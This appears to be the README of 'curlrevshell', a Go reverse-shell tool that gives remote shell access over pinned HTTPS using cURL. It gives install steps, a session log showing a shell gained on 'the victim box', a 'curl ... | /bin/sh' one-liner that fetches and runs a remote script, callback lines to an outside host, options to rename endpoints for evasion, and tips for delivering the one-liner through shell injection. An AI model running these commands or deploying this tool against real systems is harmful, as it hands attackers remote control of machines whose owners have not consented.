Curlrevshell
Kooky cURL-powered replacement for reverse shell via /dev/tcp
Install / Use
/learn @magisterquis/CurlrevshellREADME
cURL-Powered Reverse Shell
Somewhat kooky replacement for the typical bash >/dev/tcp... reverse shell,
but with the following "features":
- Underlying comms via HTTPS via double cURL
- Self-signed TLS certificate, plus certificate pinning
- Optionally serves static files
- Accepts multiple shells in series, like
nc -lkbut in color - IPv6-ready
- Logged feature creep
- Non-zero documentation
- Makefiles which coldheartedly assume BSD Make
- Easyish in-target-memory shell function sender
- Other tools
For legal use only.
Quickstart
- Install the Go compiler (https://go.dev/doc/install).
- Install
curlrevshelland start it.go install github.com/magisterquis/curlrevshell@latest curlrevshell - Get a shell, using one of the lines under
To get a shell:.
There are a few options, try -h for a list.
Example
It should look like the following, but with nicer colors:
$ go install github.com/magisterquis/curlrevshell@latest
go: downloading github.com/magisterquis/goxterm v0.0.1-beta.4
go: downloading golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546
go: downloading golang.org/x/net v0.46.0
go: downloading golang.org/x/sync v0.17.0
go: downloading golang.org/x/sys v0.37.0
go: downloading golang.org/x/text v0.30.0
go: downloading golang.org/x/tools v0.38.0
$ curlrevshell
01:04:42.758 Welcome to curlrevshell version v0.0.1-beta.8
01:04:42.760 Listening on 0.0.0.0:4444
01:04:42.760 To get a shell:
curl -sk --pinnedpubkey sha256//9nkpEPFYzXMxoVTGImPROp+qkk+B1QQIut2jX4qohgY= https://192.168.1.10:4444/c | /bin/sh
01:04:55.247 [192.168.1.20] Sent script: ID:zcj5vz3zp6ce URL:192.168.1.10:4444 Path:/c
01:04:55.259 [192.168.1.20] Input connected: ID:1jns1whwi1p1q
01:04:55.259 [192.168.1.20] Output connected: ID:1jns1whwi1p1q
01:04:55.259 [192.168.1.20] Shell is ready to go!
> id
01:05:10.753 uid=1000(you) gid=1000(you) groups=1000(you), 0(wheel), 117(dialer)
On 192.168.1.20, the victim box, somewhere between 01:04:42.760 and 01:04:55.247:
curl -sk --pinnedpubkey sha256//9nkpEPFYzXMxoVTGImPROp+qkk+B1QQIut2jX4qohgY= https://192.168.1.10:4444/c | /bin/sh
Usage
Usage: curlrevshell [options]
Even worse reverse shell, powered by cURL.
Keyboard Shortcuts:
Ctrl+I - Insert the file or directory specified with -ctrl-i
Ctrl+O - Mute output for a couple of seconds (for if you cat a huge file)
Ctrl+S - Print locally what Ctrl+I would send
Tab - Same as Ctrl+I
Options:
-callback-address address
Additional callback address or domain, for one-liner printing (may be repeated)
-ctrl-i source
Tab/Ctrl+I's insertion source file or directory
-debug
Print debugging messages
-icanhazip
Query icanhazip.com for a callback address
-ipv6-one-liners
Also print callback one-liners with IPv6 addresses
-listen-address address
Listen address (default "0.0.0.0:4444")
-log file
Optional file to which to write JSON logs
-no-timestamps
Don't print timestamps
-one-shell
Close listening socket when first shell connects
-print-ctrl-i
Print what would be sent with Tab/Ctrl+I and exit
-print-default-template
Write the default template to stdout and exit
-prompt string
Terminal prompt; don't forget a trailing space (default "> ")
-serve-files-from directory
Optional directory from which to serve static files
-template template
Optional template file, used if it exists
-tls-certificate-cache file
Optional file in which to cache generated TLS certificate (default "/home/stuart/.cache/sstls/cert.txtar")
Details
Under the hood, it's really just a little HTTP server with four endpoints:
Endpoint | Description
------------------|------------
/c | Serves up a little script that takes the place of bash >/dev/tcp... and makes you appreciate admins not using ps awwwfux.
/i/{id} | Long-lived connection for input from you to the shell.
/io | A bidirectional connection between you and the shell, kinda /i and /o at the same time.
/o/{id} | Output from the shell to you, one line at a time. The {id} has to match /i's.
/{anythingelse} | Either serves up files or 404's if nobody gave it -serve-files-from (which doesn't actually have to be a directory).
The endpoints can be changed (for evasion, humor, etc); see the docs for more details.
Template
The script generated with /c as well as the helpful one-liners printed on
startup can be changed by writing a new template and telling the program about
it with -template. It usually looks like
$ curlrevshell -print-default-template >custom.tmpl # Get the default template to start with
$ vim ./custom.tmpl # Mod ALL the things!
$ curlrevshell -template ./custom.tmpl # Run with your fancy new template
The struct passed to the template is Params in
crstemplate.go.
The default template is default.tmpl.
It's re-read every time it's needed, so feel free to change it as often as
you'd like.
On Linux, you'll probably need BSD make(apt/yum/such install bmake, or
thereabouts) and add a b before the makes.
Callback Address
Most of the time if you can connect to the server to grab a script (i.e. /c)
the server will work out the right callback address. Most of the time. For
those times which aren't Most, giving a URL with either a c2 parameter to /c
or a c2: header should clear things up. This is clearer with an example:
As a URL parameter
The Request for a script:
curl -sk --pinnedpubkey sha256//9nkpEPFYzXMxoVTGImPROp+qkk+B1QQIut2jX4qohgY= https://192.168.1.10:4444/c?c2=kittens.com'
The curl command in the script:
curl -sk --pinnedpubkey sha256//pSUroiq0g92Z3m08n7g/zPQyspRyjm2x/enFRndcdL0= https://kittens.com/i/1upal29kpq9g7 -N </dev/null 2>&0 |
Without ?c2=kittens.com it would have been https://192.168.1.10:4444
instead.
The server also tells us that the script was generated for kittens.com:
22:08:20.488 [192.168.1.20] Sent script: ID:1upal29kpq9g7 URL:kittens.com:443 Path:/c
As a header
Sometimes it's a pain to put ? and such in shell injection. Headers are
easier. We'll also add a port this time.
curl -Hc2:kittens.com:22 -sk --pinnedpubkey sha256//9nkpEPFYzXMxoVTGImPROp+qkk+B1QQIut2jX4qohgY= https://192.168.1.10:4444/c
Weird flex, but it worked.
curl -sk --pinnedpubkey sha256//9nkpEPFYzXMxoVTGImPROp+qkk+B1QQIut2jX4qohgY= https://kittens.com:22/i/2v0ohzqf5kw1t -N </dev/null 2>&0 |
Server agrees
22:14:13.902 [192.168.1.20] Sent script: ID:2v0ohzqf5kw1t URL:kittens.com:22 Path:/c
TLS
TLS is all via a pinned self-signed certificate. By default, the certificate
is cached in a file, mostly to keep from having to copy/paste a new fingerprint
every time a ragey double-Ctrl+C kills the current shell. Caching can be
disabled with -tls-certificate-cache "".
File Insertion
It's kinda nice to bring your own functions, even nicer to not have to drop them to disk, and even nice still to not have to copy/paste a few hundred lines of shell script by hand.
Works with single files, Perl scripts, and even entire directories.
More info in the docs.
